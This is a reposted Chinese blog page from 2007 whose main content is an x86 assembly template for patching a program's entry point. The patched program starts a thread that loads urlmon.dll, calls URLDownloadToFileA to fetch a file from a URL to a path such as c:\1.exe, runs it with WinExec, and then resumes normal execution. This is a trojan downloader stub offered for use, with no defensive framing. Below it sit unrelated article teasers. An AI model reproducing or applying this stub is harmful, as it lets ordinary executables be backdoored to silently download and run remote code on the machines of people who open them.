通过修改程序的代码使程序能够下载并运行指定程序

转载 2007年09月25日 11:29:00
相关代码如下:
  原入口:
  jmp  xxxxxxxx    代码段②开始的位置
  ①:
  pushad
  push xxxxxxxx    字符串urlmon.dll的位置
  call kernel32.LoadLibraryA
  push xxxxxxxx    字符串URLDownloadToFileA的位置
  push eax
  call kernel32.GetProcAddress
  push 0
  push 0
  push xxxxxxxx    存放位置,如:c://1.exe
  push xxxxxxxx    下载位置
  push 0
  call eax
  push 0
  push xxxxxxxx    存放位置
  call kernel32.WinExec
  popad
  retn


  ②:
  pushad
  push 0
  push 0
  push xxxxxxxx    代码①开始的位置
  call msvcrt._beginthread
  jmp xxxxxxxx     原入口的位置
 

相关文章推荐

代码局部性对程序运行速度的影响

对编程一直有很多疑问,很多时候甚至不知道如何描述这些疑问,但我知道自己可以从哪里可以找到自己的疑问和答案,答案是计算机系统,但感情上总觉得太难,没信心。编程语言、操作系统和计算机系统结构是三门课,一直...
  • xqhaha
  • xqhaha
  • 2013年08月06日 21:50
  • 576

第二行代码学习笔记——第八章:丰富你的程序——运行手机多媒体

本章要点Android强大的多媒体功能。8.1 将手机运行到手机上运行程序到手机上:先通过数据线把手机连接到电脑上。然后进入设置—>开发者选项界面,勾选这个界面中的USB选项。注意:Android 4...

RAM之程序运行时数据和代码加载

RAM之程序运行时数据和代码加载 一般MCU芯片都会有这么两个东西:ROM和RAM。ROM为程序存储器(除了第一次烧程序向里面写数据,之后只能读,不能写),而RAM为数据存储器(掉电数据清零)。RO...

C语言程序代码神奇效果如何运行

外行人看代码是很麻烦的事情,只能看到神奇的程序员biubiu几行代码就能搞出很神奇的效果。为什么程序员简单的几行代码就可以打印出我们想要的结果呢,下面这篇文章就介绍下C语言程序的运行过程。 ...
  • ccnanxi
  • ccnanxi
  • 2015年12月03日 16:42
  • 696

如何“隐藏”运行程序的“命令提示符”界面(C代码)

本人写的东西大都是从网络和书本摘录,总结搬过来的

计算Python的代码块或程序的运行时间

1.运用场景在很多的时候我们需要计算我们程序的性能,这个时候我们常常需要统计程序运行的时间。下面我们就来说说怎么统计程序的运行时间。2. 实现方法计算Python的某个程序,或者是代码块运行的时间一般...

Flink 代码方式提交程序到远程集群运行

在学习Flink时候,看到如下方法,可以获取到远程集群上的一个ExecutionEnvironment实例,便尝试使用一下,将本地IDE作业提交到集群运行,代码如下: def createRemo...
  • Dax1n
  • Dax1n
  • 2017年04月18日 19:48
  • 1070

Linux设备驱动程序代码 第2章 建立和运行模块

第2章 建立和运行模块 1.资源下载 电子书地址: pdf版: http://www.kuaipan.cn/file/id_12008874588517353.ht...

C++程序运行时内存布局之----------局部变量,全局变量,静态变量,函数代码,new出来的变量

声明两点:(1)开发测试环境为VS2010+WindowsXP32位;(2)内存布局指的是虚拟内存地址,不是物理地址。 1.测试代码#include using namespace std;int g...
  • smstong
  • smstong
  • 2011年06月30日 22:41
  • 3221

向正在运行的Linux应用程序注入代码

小编的话:感谢0×80的认真翻译,辛苦:) ,各位同学,不要吝惜你的顶和评论哦! 原作者:Gregory Shpitalnik 翻译:0×80 1、简介 假设Linux上正...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:通过修改程序的代码使程序能够下载并运行指定程序
举报原因:
原因补充:

(最多只允许输入30个字)